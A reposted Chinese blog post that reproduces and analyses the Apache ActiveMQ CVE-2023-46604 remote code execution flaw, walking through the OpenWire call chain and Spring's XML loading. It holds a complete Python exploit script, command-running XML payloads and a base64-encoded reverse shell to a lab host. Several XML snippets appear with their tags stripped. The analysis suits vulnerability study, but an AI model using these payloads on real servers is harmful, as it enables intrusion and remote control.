ActiveMQ系列漏洞学习-CVE-2023-46604

admin 2026-09-15 05:00:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入分析ApacheActiveMQCVE-2023-46604远程代码执行漏洞,该漏洞源于OpenWire协议ExceptionResponse处理中createThrowable方法反射执行攻击者控制的类名与消息参数,无安全检查。攻击者可设置clazz为ClassPathXmlApplicationContext,message为恶意XML的HTTPURL,实例化时自动加载解析远程XML,通过SpringBean的init-method执行任意命令。文章详述环境搭建、复现步骤、反弹shell及完整调用链与Spring容器初始化流程分析,并给出受影响版本范围,具备较高实战参考价值。 综合评分: 88 文章分类: 漏洞分析,WEB安全,代码审计,漏洞POC


ActiveMQ系列漏洞学习-CVE-2023-46604

原创

Jbymy Jbymy

Jbymy

2026年8月13日 14:50 浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

CVE-2023-46604(ExceptionResponse路径)

一、漏洞描述

CVE-2023-46604 是 Apache ActiveMQ 中的一个严重远程代码执行漏洞。攻击者可以通过向受影响的 ActiveMQ 服务器发送恶意数据,利用此漏洞在目标系统上执行任意代码。

该漏洞影响 Apache ActiveMQ 的多个版本,主要通过 TCP 端口(默认 61616)进行攻击。攻击者需要具备对该端口的访问权限,才能发送恶意数据包触发漏洞。

Apache&nbsp;ActiveMQ <&nbsp;5.18.3Apache&nbsp;ActiveMQ <&nbsp;5.17.6Apache&nbsp;ActiveMQ <&nbsp;5.16.7Apache&nbsp;ActiveMQ <&nbsp;5.15.16

二、环境搭建

继续使用CVE-2015-5254的环境,但是需要补充spring的依赖,然后重启docker

docker&nbsp;cp spring-core-3.2.11.RELEASE.jar&nbsp;72c:/opt/apache-activemq-5.11.1/lib/docker&nbsp;cp spring-context-3.2.11.RELEASE.jar&nbsp;72c:/opt/apache-activemq-5.11.1/lib/docker&nbsp;cp spring-beans-3.2.11.RELEASE.jar&nbsp;72c:/opt/apache-activemq-5.11.1/lib/docker&nbsp;cp spring-aop-3.2.11.RELEASE.jar&nbsp;72c:/opt/apache-activemq-5.11.1/lib/docker&nbsp;cp spring-expression-3.2.11.RELEASE.jar&nbsp;72c:/opt/apache-activemq-5.11.1/lib/docker&nbsp;cp aopalliance-1.0.jar&nbsp;72c:/opt/apache-activemq-5.11.1/lib/

三、漏洞复现

首先创建恶意xml文件:

<?xml version=”1.0” encoding=”UTF-8” ?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; touch&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /tmp/test_cve

四、反弹shell

只需要修改poc.xml文件即可

<?xml version=”1.0” encoding=”UTF-8” ?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /bin/bash&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -c&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNjYuMjQxLzQ0NDQgMD4mMQ== | base64 -d | /bin/bash

五、代码分析

在activemq-client模块的org.apache.activemq.openwire.v10.BaseDataStreamMarshaller的createThrowable方法下断点,可以看到完整调用过程:

createThrowable:229, BaseDataStreamMarshaller (org.apache.activemq.openwire.v10)looseUnmarsalThrowable:513, BaseDataStreamMarshaller (org.apache.activemq.openwire.v10)looseUnmarshal:113, ExceptionResponseMarshaller (org.apache.activemq.openwire.v10)doUnmarshal:356, OpenWireFormat (org.apache.activemq.openwire)unmarshal:268, OpenWireFormat (org.apache.activemq.openwire)readCommand:221, TcpTransport (org.apache.activemq.transport.tcp)doRun:213, TcpTransport (org.apache.activemq.transport.tcp)run:196, TcpTransport (org.apache.activemq.transport.tcp)run:722, Thread (java.lang)

(1)java.lang.Thread.run():新线程启动,进入网络运输层的主循环,开始持续监听 Socket 上的数据。

(2)org.apache.activemq.transport.tcp.TcpTransport.run():调用 doRun() 方法,进入持续读取网络数据的循环。

(3)org.apache.activemq.transport.tcp.TcpTransport.doRun():从 TCP Socket 的 DataInputStream 中读取原始字节流,准备交由协议层解析。

(4)org.apache.activemq.transport.tcp.TcpTransport.readCommand():从字节流中提取一个完整的 OpenWire 命令数据包,并调用 OpenWireFormat.unmarshal() 将其解码为 Java 对象。

(5)org.apache.activemq.openwire.OpenWireFormat.unmarshal():读取数据包的第一个字节 dataType,根据该值查找对应的 DataStreamMarshaller。当 dataType = 31 时,对应的是 ExceptionResponse 命令,因此选择 ExceptionResponseMarshaller 来处理后续数据。

(6)org.apache.activemq.openwire.v10.ExceptionResponseMarshaller.looseUnmarshal():专门用于解码 ExceptionResponse 对象。此方法会调用父类 BaseDataStreamMarshaller.looseUnmarshalThrowable(),开始读取“异常”相关的元数据。

(7)org.apache.activemq.openwire.v10.BaseDataStreamMarshaller.looseUnmarshalThrowable():此方法依次调用两次 looseUnmarshalString(),从字节流中顺序读取两个字段:

  1. 先读取 类名(clazz):先读布尔值标记是否存在,若存在则通过 readUTF() 读取字符串。
  2. 再读取 异常消息(message):同样的方式读取第二个字符串。

由于 readUTF() 带有长度前缀,读取指针会精确移动,因此两个字符串不会被读错。

(8)org.apache.activemq.openwire.v10.BaseDataStreamMarshaller.createThrowable(clazz, message):这是漏洞的核心触发点。方法内部直接反射执行,攻击者完全控制 clazz 和 message 参数,且没有任何安全检查(如校验 clazz 是否为 Throwable 子类),从而可以实例化任意带有 String 参数的类。

(9)执行恶意代码,攻击者将 clazz 设置为 ClassPathXmlApplicationContext,将 message 设置为恶意 XML 的 HTTP URL。实例化该类时,它会自动加载并解析远程 XML 文件,进而触发其中定义的 Spring Bean(如 ProcessBuilder),并通过 init-method=”start” 执行任意系统命令,完成远程代码执行(RCE)。

ClassPathXmlApplicationContext类命令执行过程

先来学习一下org.springframework.context.support.ClassPathXmlApplicationContext这个类为什么可以进行命令执行:

ClassPathXmlApplicationContext 是 Spring 框架的核心类,它的工作流程可以清晰地分为几个阶段。要理解它是如何执行恶意命令的,关键在于剖析其从初始化到加载 Bean 的完整过程。

ClassPathXmlApplicationContext 是 Spring 中一个具体的应用上下文(ApplicationContext)实现。它的核心职责就是根据提供的配置文件位置(在这里是一个 HTTP URL),去加载配置、解析 Bean 定义,最后初始化并启动整个 Spring 容器。

这个类位于spring-context-RELEASE.jar包中,具体位置为support目录下,调用链如下:

// 1. 入口:接收一个字符串配置路径public&nbsp;ClassPathXmlApplicationContext(String configLocation)&nbsp;throws&nbsp;BeansException {&nbsp; &nbsp;&nbsp;// 2. 调用重载的构造方法,refresh 参数为 true,表示需要立即刷新容器&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this(new&nbsp;String[]{configLocation},&nbsp;true, (ApplicationContext)null);&nbsp; &nbsp; }&nbsp;// 3. 核心构造方法public&nbsp;ClassPathXmlApplicationContext(String[] configLocations,&nbsp;boolean&nbsp;refresh, ApplicationContext parent)&nbsp;throws&nbsp;BeansException {&nbsp; &nbsp;&nbsp;super(parent);&nbsp; &nbsp;&nbsp;this.setConfigLocations(configLocations);&nbsp; &nbsp;&nbsp;if&nbsp;(refresh) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.refresh();&nbsp; &nbsp; }}

refresh() 方法定义在父类 AbstractApplicationContext 中,它就像容器的“总开关”,完整地执行了 Spring 容器的初始化流程。它包含以下 11 个关键步骤:

  1. prepareRefresh()

    :准备刷新上下文,设置启动时间、状态标志等。

  2. obtainFreshBeanFactory()

    :这是加载 Bean 定义的核心。它会创建一个 BeanFactory,并调用 loadBeanDefinitions 去解析指定的 XML 文件。    – 对于 HTTP URL,Spring 会通过网络下载 poc.xml 文件。    – 随后,XmlBeanDefinitionReader 会解析这个 XML 文件,将文件中的 <bean> 标签(例如 ProcessBuilder)转化为 Spring 内部的 BeanDefinition 对象。

  3. prepareBeanFactory(beanFactory)

    :对刚创建的 BeanFactory 进行预处理,设置类加载器等。

  4. postProcessBeanFactory(beanFactory)

    :提供一个扩展点,允许子类在 Bean 工厂初始化后做额外处理。

  5. invokeBeanFactoryPostProcessors(beanFactory)

    :执行所有的 BeanFactoryPostProcessor。这是允许对 Bean 定义进行修改的扩展点。

  6. registerBeanPostProcessors(beanFactory)

    :注册 BeanPostProcessor,它们会在 Bean 实例化前后进行干预。

  7. initMessageSource()

    :初始化国际化消息源。

  8. initApplicationEventMulticaster()

    :初始化事件广播器。

  9. onRefresh()

    :一个模板方法,留给子类在刷新时做特定操作。

  10. registerListeners()

    :注册应用事件监听器。

  11. finishBeanFactoryInitialization(beanFactory)

    :这是实例化所有单例 Bean 的关键步骤。它会实例化所有非懒加载的单例 Bean。你的恶意 ProcessBuilder Bean 就是在这里被创建的。

当 Spring 处理到你定义的  时,执行流程如下:

  1. 实例化:Spring 通过反射调用 ProcessBuilder 的构造方法,并将 touch 和 /tmp/test_cve 作为参数传入。
  2. 属性赋值:为 Bean 的属性赋值。
  3. 初始化:执行 afterPropertiesSet 等方法。
  4. 调用 init-method:这是最关键的一步。Spring 会检查 bean 定义中是否指定了 init-method 属性。因为你的 XML 中配置了 init-method="start",Spring 就会在此时调用 ProcessBuilder 对象的 start() 方法。

ProcessBuilder.start() 是 Java 中用于启动新进程的 API,一旦被调用,你指定的 touch /tmp/test_cve 命令就会在目标系统上执行,从而实现了远程代码执行。

package org.example.springboot_activemq;&nbsp;import&nbsp;org.springframework.context.ApplicationContext;import&nbsp;org.springframework.context.support.ClassPathXmlApplicationContext;&nbsp;public&nbsp;class&nbsp;TestXml&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 在下一行打上断点,然后 Step Into (F7)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ApplicationContext&nbsp;context =&nbsp;new&nbsp;ClassPathXmlApplicationContext(”http://127.0.0.1:8000/poc2.xml”);&nbsp; &nbsp; }}

其中poc2.xml内容如下:

<?xml version=”1.0” encoding=”UTF-8” ?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; calc.exe

言归正传

继续回到下面这个图和原始的调用链:

createThrowable:229, BaseDataStreamMarshaller (org.apache.activemq.openwire.v10)looseUnmarsalThrowable:513, BaseDataStreamMarshaller (org.apache.activemq.openwire.v10)looseUnmarshal:113, ExceptionResponseMarshaller (org.apache.activemq.openwire.v10)doUnmarshal:356, OpenWireFormat (org.apache.activemq.openwire)unmarshal:268, OpenWireFormat (org.apache.activemq.openwire)readCommand:221, TcpTransport (org.apache.activemq.transport.tcp)doRun:213, TcpTransport (org.apache.activemq.transport.tcp)run:196, TcpTransport (org.apache.activemq.transport.tcp)run:722, Thread (java.lang)

这里通过上面的分析,发现只需要传入className为ClassPathXmlApplicationContext和message为可控地址即可,看上一步调用BaseDataStreamMarshaller类,这里clazz和message都是利用looseUnmarshalString方法对dataIn进行解析得到的,DataInput是一个顺序读取的字节流,它维护着一个内部的读取指针。第二次调用 looseUnmarshalString 时,它并不是“重新开始”读,而是紧接着第一次调用结束的位置继续往下读,因此可以得到一个clazz和一个message:

protected&nbsp;Throwable&nbsp;looseUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn)&nbsp; &nbsp;&nbsp;throws&nbsp;IOException {&nbsp; &nbsp;&nbsp;if&nbsp;(dataIn.readBoolean()) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;clazz&nbsp;=&nbsp;looseUnmarshalString(dataIn);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;message&nbsp;=&nbsp;looseUnmarshalString(dataIn);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Throwable&nbsp;o&nbsp;=&nbsp;createThrowable(clazz, message);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(wireFormat.isStackTraceEnabled()) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(STACK_TRACE_ELEMENT_CONSTRUCTOR !=&nbsp;null) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StackTraceElement ss[] =&nbsp;new&nbsp;StackTraceElement[dataIn.readShort()];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i&nbsp;=&nbsp;0; i < ss.length; i++) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ss[i] = (StackTraceElement)STACK_TRACE_ELEMENT_CONSTRUCTOR&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .newInstance(new&nbsp;Object[] {looseUnmarshalString(dataIn),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;looseUnmarshalString(dataIn),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;looseUnmarshalString(dataIn),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Integer.valueOf(dataIn.readInt())});&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(IOException e) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;e;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Throwable e) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; o.setStackTrace(ss);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;short&nbsp;size&nbsp;=&nbsp;dataIn.readShort();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i&nbsp;=&nbsp;0; i < size; i++) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; looseUnmarshalString(dataIn);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; looseUnmarshalString(dataIn);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; looseUnmarshalString(dataIn);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dataIn.readInt();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; o.initCause(looseUnmarsalThrowable(wireFormat, dataIn));&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;o;&nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;&nbsp; &nbsp; }}

其中looseUnmarshalString方法如下:

protected&nbsp;String&nbsp;looseUnmarshalString(DataInput dataIn)&nbsp;throws&nbsp;IOException {&nbsp; &nbsp;&nbsp;if&nbsp;(dataIn.readBoolean()) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;dataIn.readUTF();&nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;&nbsp; &nbsp; }}

这里就能理解为什么poc要这么写了,通过直接发送一个OpenWire 数据包,触发服务器端的反序列化:

import socketimport argparse&nbsp;def&nbsp;main(ip, port, url):&nbsp; &nbsp; if not ip or not url:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(”Usage: script.py -i &nbsp;-p &nbsp;-u ”)&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;&nbsp; &nbsp;&nbsp;banner()&nbsp;&nbsp; &nbsp; class_name = ”org.springframework.context.support.ClassPathXmlApplicationContext”&nbsp; &nbsp; message = url&nbsp;&nbsp; &nbsp; header = ”1f00000000000000000001”&nbsp; &nbsp; body = header + ”01” +&nbsp;int2hex(len(class_name),&nbsp;4) +&nbsp;string2hex(class_name) + ”01” +&nbsp;int2hex(len(message),&nbsp;4) +&nbsp;string2hex(message)&nbsp; &nbsp; payload =&nbsp;int2hex(len(body) //&nbsp;2,&nbsp;8) + body&nbsp; &nbsp; data = bytes.fromhex(payload)&nbsp;&nbsp; &nbsp;&nbsp;print(”[*] Target:”, f”{ip}:{port}”)&nbsp; &nbsp; print(”[*]&nbsp;XML URL:”, url)&nbsp; &nbsp;&nbsp;print()&nbsp; &nbsp;&nbsp;print(”[*] Sending packet:”, payload)&nbsp;&nbsp; &nbsp; conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&nbsp; &nbsp; conn.connect((ip,&nbsp;int(port)))&nbsp; &nbsp; conn.send(data)&nbsp; &nbsp; conn.close()&nbsp;def&nbsp;banner():&nbsp; &nbsp;&nbsp;print(” &nbsp; &nbsp; _ &nbsp; &nbsp; &nbsp; &nbsp;_ &nbsp; _ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; __ &nbsp;__ &nbsp;___ &nbsp; &nbsp; &nbsp; &nbsp;____ &nbsp; ____ _____ \n &nbsp; &nbsp;/ \\ &nbsp; ___| |_(_)_ &nbsp; _____| &nbsp;\\/ &nbsp;|/ _ \\ &nbsp; &nbsp; &nbsp;| &nbsp;_ \\ / ___| ____|\n &nbsp; / _ \\ / __| __| \\ \\ / / _ \\ |\\/| | | | |_____| |_) | | &nbsp; | &nbsp;_| &nbsp;\n &nbsp;/ ___ \\ (__| |_| |\\ V / &nbsp;__/ | &nbsp;| | |_| |_____| &nbsp;_ <| |___| |___ \n /_/ &nbsp; \\_\\___|\\__|_| \\_/ \\___|_| &nbsp;|_|\\__\\_\\ &nbsp; &nbsp; |_| \\_\\\\____|_____|\n”)&nbsp;def&nbsp;string2hex(s):&nbsp; &nbsp; return s.encode().hex()&nbsp;def&nbsp;int2hex(i, n):&nbsp; &nbsp; if n ==&nbsp;4:&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;format(i,&nbsp;'04x')&nbsp; &nbsp; elif n ==&nbsp;8:&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;format(i,&nbsp;'08x')&nbsp; &nbsp; else:&nbsp; &nbsp; &nbsp; &nbsp; raise&nbsp;ValueError(”n must be&nbsp;4&nbsp;or&nbsp;8”)&nbsp;if __name__ == ”__main__”:&nbsp; &nbsp; parser = argparse.ArgumentParser()&nbsp; &nbsp; parser.add_argument(”-i”, ”--ip”, help=”ActiveMQ Server IP or Host”)&nbsp; &nbsp; parser.add_argument(”-p”, ”--port”, default=”61616”, help=”ActiveMQ Server Port”)&nbsp; &nbsp; parser.add_argument(”-u”, ”--url”, help=”Spring XML Url”)&nbsp; &nbsp; args = parser.parse_args()&nbsp;&nbsp; &nbsp;&nbsp;main(args.ip, args.port, args.url)
  • header

    (1f 00 00 00 00 00 00 00 00 00 01):

  • 1f

    : 命令类型。0x1f (31) 是 ExceptionResponse 命令的标识符。

  • 00 00 00 00

    : 命令ID (commandId),一个 4 字节整数,用于请求-响应匹配。此处为 0,表示由服务端自动分配。

  • 00

    : 响应标志 (responseRequired),0x00 表示不需要响应。

  • 00 00 00 00

    : 其他保留/可选字段,全为 0。

  • 01

    : 异常对象存在标志。0x01 表示 ExceptionResponse 中包含一个 Throwable 对象。

  • 后续载荷: 这是 ExceptionResponse 的核心数据,编码了要实例化的恶意类名和参数。

  • 01

    : 类名字符串存在标志。

  • int2hex(len(class_name), 4)

    : 类名的 UTF-8 字节长度,用 2 字节表示。

  • string2hex(class_name)

    : 类名的 UTF-8 字节。

  • 01

    : 消息字符串存在标志。

  • int2hex(len(message), 4)

    : 消息的 UTF-8 字节长度,用 2 字节表示。

  • string2hex(message)

    : 消息(恶意 XML 的 URL)的 UTF-8 字节。

  • int2hex(len(body) // 2, 8)

    : 计算 body 的字节数,并将其格式化为 4 字节(8 位十六进制)的十六进制字符串,作为 size 字段。

  • + body

    : 将 size 字段和 body 拼接。

其他的一些攻击类:

// &nbsp; &nbsp; &nbsp; &nbsp;ApplicationContext context = new ClassPathXmlApplicationContext(”http://127.0.0.1:8000/poc2.xml”);//&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ApplicationContext&nbsp;context = new&nbsp;FileSystemXmlApplicationContext(”http://127.0.0.1:8000/poc2.xml”);//&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ApplicationContext&nbsp;context = new&nbsp;FileSystemXmlApplicationContext(”F:\\同步盘\\渗透\\漏洞利用工具\\ActiveMQ\\CVE-2023-46604\\poc2.xml”);//&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ApplicationContext&nbsp;context = new&nbsp;GenericXmlApplicationContext(”http://127.0.0.1:8000/poc2.xml”);

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Jbymy Jbymy Jbymy《ActiveMQ系列漏洞学习-CVE-2023-46604》

评论:0   参与:  0